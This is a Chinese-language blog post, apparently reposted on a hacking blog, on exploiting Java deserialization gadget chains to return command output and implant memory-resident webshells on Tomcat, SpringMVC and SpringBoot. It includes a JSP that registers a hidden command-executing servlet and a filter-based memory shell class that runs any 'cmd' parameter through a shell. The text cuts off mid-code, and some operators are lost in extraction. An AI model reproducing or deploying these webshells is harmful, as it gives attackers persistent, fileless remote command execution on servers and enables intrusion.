Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863537330

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

0x01 前言很多小伙伴做反序列化漏洞的研究都是以命令執行為目標,本地測試最喜歡的就是彈計算器,但沒有對反序列化漏洞進行深入研究,例如如何回顯命令執行的結果,如何加載內存馬。 (關注“Beacon Tower Lab”烽火台實驗室,為您持續輸出前沿的安全攻防技術)

在上一篇文章中↓↓↓

記一次反序列化漏洞的利用之路

遇到了一個實際環境中的反序列化漏洞,也通過調試最終成功執行命令,達到了RCE的效果。在實際的攻防場景下,能執行命令並不是最完美的利用場景,內存馬才是最終的目標。本篇文章就在此基礎上講一講如何進行命令回顯和加載內存馬。

0x02回顯在研究基於反序列化利用鏈的回顯實現之前,首先解決基於反序列化利用鏈的回顯實現,也就是在響應結果中輸出命令執行的結果。對PHP語言熟悉的小伙伴可能會覺得這並不算問題,直接echo不就行了,java裡面是不是也應該有類似的函數例如out.println()。 Java是一種面向對象的編程語言,所有的操作都是基於類和對象進行,如果要在頁面響應中輸出內容,必須要先有HttpServletResponse對象,典型的把命令執行結果響應到頁面的方式如圖2.1所示。

1679537651111929.png

圖2.1 通過HttpServletResponse對象輸出命令執行結果

從圖2.1可以看出最簡單的命令執行,也需要比較複雜的代碼邏輯,也就要求利用鏈中必須要支持執行複雜語句。並不是所有的ysoserial利用鏈都能達到回顯和

內存馬的效果,只有支持複雜語句的利用鏈才能回顯和內存馬,如表2.1所示。

表2.1 ysoserial利用鏈中對複雜語句的支持

1679537698187977.jpeg

我們先以CommonsBeanutils1利用鏈來進行分析,其他CommonsCollections利用鏈本質上是一樣的,CommonsBeanutils1鍊和CommonsCollections鏈最終都是xalan庫來動態加載字節碼,執行複雜語句。關於xalan利用鏈的分析網上有很多文章,這裡暫不做分析。

要實現反序列化利用鏈的結果回顯,最重要的是要獲取到HttpServletRequest對象和HttpServletResponse對象,根據目標環境的不同,獲取這兩個對象的辦法是不一樣的,如圖2.2,圖2.3所示。

1679537754866091.png

圖2.2 SpringBoot環境下獲取request和response對象

1679537779179682.png

圖2.3 SpringMVC環境下獲取request和response對象

不同的服務器獲取這兩個對象的方式不一樣,其他例如Weblogic、Jboss、Websphere這些中間件獲取這兩個對象的方式也不一樣,這種差異化極大的增加了反序列化回顯和內存馬實現的難度。

有沒有一種比較通用的辦法能夠獲取到request和response對象呢?答案是有的,基於Thread.CurrentThread()遞歸搜索可以實現通用的對象查找。目前測試環境是SpringMVC和SpringBOOT,其他環境暫未測試。

Thread.CurrentThread()中保存了當前線程中的全局信息,系統運行環境中所有的類對像都保存在Thread.CurrentThread()。用於回顯需要的request和response對象可以在Thread.CurrentThread()中找到;用於內存馬實現的StandardContext對像也可以找到。

遞歸搜索的思路就是遍歷Thread.CurrentThread()下的每一個字段,如果字段類別繼承自目標類(例如javax.servlet.http.HttpServletRequest),則進行標記,否則繼續遍歷。如圖2.3的方式是在已知目標類的位置獲取目標類對應對象的方式,我們的改進辦法是在未知目標類位置的情況下,通過遍歷的方式來發現目標類對象。

其中關鍵的代碼如圖2.4所示,完整的代碼見github項目地址。其中最關鍵的步驟是通過遞歸的方式來查找Thread.CurrentThread()的所有字段,依次判斷字段類型是否為javax.servlet.http.HttpServletRequest和javax.servlet.http.HttpServletResponse。

1679537821729281.png

圖2.4 通過遞歸方式來查找request和response對象

使用這種方式的好處是通用性高,而不需要再去記不同服務器下對象的具體位置。把這種方式保存為一條新的利用鏈CommonsBeanutils1Echo,然後就可以在兼容SpringMVC和SpringBoot的環境中使用相同的反序列化包,如圖2.5,圖2.6所示。

1679537849174356.png

圖2.5 生成payload

1679537888768042.png

圖2.6 使用生成的payload進行反序列化測試

0x03 內存馬內存馬一直都是java反序列化利用的終極目標,內存馬的實現方式有很多種,其中最常見的是基於Filter的內存馬,本文目標也是通過反序列化漏洞實現通用的冰蠍內存馬。

基於Filter型的內存馬實現步驟比較固定,如果是在jsp的環境下,可以使用下面的方式來生成內存馬。

%@ page import='java.io.IOException' %%@ page import='java.io.InputStream' %%@ page import='java.util.Scanner' %%@ page import='org.apache.catalina.core.StandardContext' %%@ page import='java.io.PrintWriter' %

% //創建惡意Servlet Servlet servlet=new Servlet() { @Override public void init(ServletConfig servletConfig) throws ServletException {

} @Override public ServletConfig getServletConfig() { return null; } @Override public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException { String cmd=servletRequest.getParameter('cmd'); boolean isLinux=true; String osTyp=System.getProperty('os.name'); if (osTyp !=null osTyp.toLowerCase().contains('win')) { isLinux=false; } String[] cmds=isLinux ? new String[]{'sh', '-c', cmd} : new String[]{'cmd.exe', '/c', cmd}; InputStream in=Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s=new Scanner(in).useDelimiter('\\a'); String output=s.hasNext() ? s.next() : ''; PrintWriter out=servletResponse.getWriter(); out.println(output); out.flush(); out.close(); } @Override public String getServletInfo() { return null; } @Override public void destroy() {

} };

%% //獲取StandardContext org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase=(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardCtx=(StandardContext)webappClassLoaderBase.getResources().getContext();

//用Wrapper對其進行封裝org.apache.catalina.Wrapper newWrapper=standardCtx.createWrapper(); newWrapper.setName('pv587'); newWrapper.setLoadOnStartup(1); newWrapper.setServlet(servlet); newWrapper.setServletClass(servlet.getClass().getName());

//添加封裝後的惡意Wrapper到StandardContext的children當中standardCtx.addChild(newWrapper);

//添加ServletMapping將訪問的URL和Servlet進行綁定standardCtx.addServletMapping('/pv587','pv587');%

訪問上面的jsp文件,然後就可以刪除文件,訪問內存馬了,如圖3.1所示。

1679538018616480.png

圖3.1 通過jsp文件來實現內存馬

上面的代碼是最初級的內存馬實現,通過jsp文件來實現的命令執行的內存馬。由於本文的重點不是講內存馬的原理,所以代碼原理簡單在註釋中說明,如果需要詳細的原因可以參考其他專門講內存馬的文章。在反序列化環境下實現冰蠍的內存馬要比這個複雜很多,但是其中一些本質上的步驟是不變的。

內存馬實現種最關鍵的是要獲取StandardContext對象,然後基於這個對象來綁定Wrapper。不同的環境下獲取StandardContext對象的方式不一樣,與上面步驟回顯的方式一致,也可以通過遞歸搜索的方式從Thread.CurrentThread()中查找,把上面內存馬的實現放在遞歸搜索的模版中實現如下所示。

package ysoserial.template;

import org.apache.catalina.Context;import org.apache.catalina.core.ApplicationFilterConfig;import org.apache.catalina.core.StandardContext;import org.apache.catalina.deploy.FilterDef;import org.apache.catalina.deploy.FilterMap;

import javax.servlet.*;import java.io.IOException;import java.io.InputStream;import java.io.PrintWriter;import java.lang.reflect.Constructor;import java.util.HashSet;import java.lang.reflect.Array;import java.lang.reflect.Field;import java.util.*;

public class DFSMemShell {

private HashSet set=new HashSet(); private Object standard_context_obj; private Class standard_context_clazz=Class.forName('org.apache.catalina.core.StandardContext');

public DFSMemShell() throws Exception { StandardContext standardCtx=(StandardContext) standard_context_obj; FilterDef filterDef=new FilterDef(); filterDef.setFilterName('TestFilter'); filterDef.setFilter(new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException {

}

@Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { String cmd=servletRequest.getParameter('cmd'); boolean isLinux=true; String osTyp=System.getProperty('os.name'); if (osTyp !=null osTyp.toLowerCase().contains('win')) { isLinux=false; } String[] cmds=isLinux ? new String[]{'sh', '-c', cmd} : new String[]{'cmd.exe', '/c', cmd}; InputStream in=Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s=new Scanner(in).useDelimiter('\\a'); String output=s.hasNext() ? s.next() : ''; PrintWriter out=servletResponse.getWriter(); out.println(output); out.flush(); out.close();

}

@Override public void destroy() {

} }); standardCtx.addFilterDef(filterDef);

Constructor constructor=ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, filterDef.getClass()); constructor.setAccessible(true); ApplicationFilterConfig applicationFilterConfig=(ApplicationFilterConfig)constructor.newInstance(standardCtx, filterDef); Field field=standardCtx.getClass().getDeclaredField('filterConfigs'); field.setAccessible(true); Map applicationFilterConfigs=(Map) field.get(standardCtx); applicationFilterConfigs.put('TestFilter', applicationFilterConfig); FilterMap filterMap=new FilterMap(); filterMap.setFilterName('TestFilter'); filterMap.addURLPattern('/btltest'); //動態應用FilterMap standardCtx.addFilterMap(filterMap); }

public Object getStandardContext(){ return standard_context_obj; }

public void search(Object obj) throws IllegalAccessException { if (obj==null){ return; } if (standard_context_obj !=null){ return; } if (obj.getClass().equals(Object.class) ) { return; } if (standard_context_clazz.isAssignableFrom(obj.getClass())){ System.out.println('Found standardContext'); standard_context_obj=obj; return; } if (obj.getClass().isArray()) { for (int i=0; i Array.getLength(obj); i++) { search(Array.get(obj, i)); } } else { Queue q=getAllFields(obj); while (!q.isEmpty()) { Field field=(Field) q.poll(); field.setAccessible(true); Object fieldValue=field.get(obj); if(standard_context_clazz.isA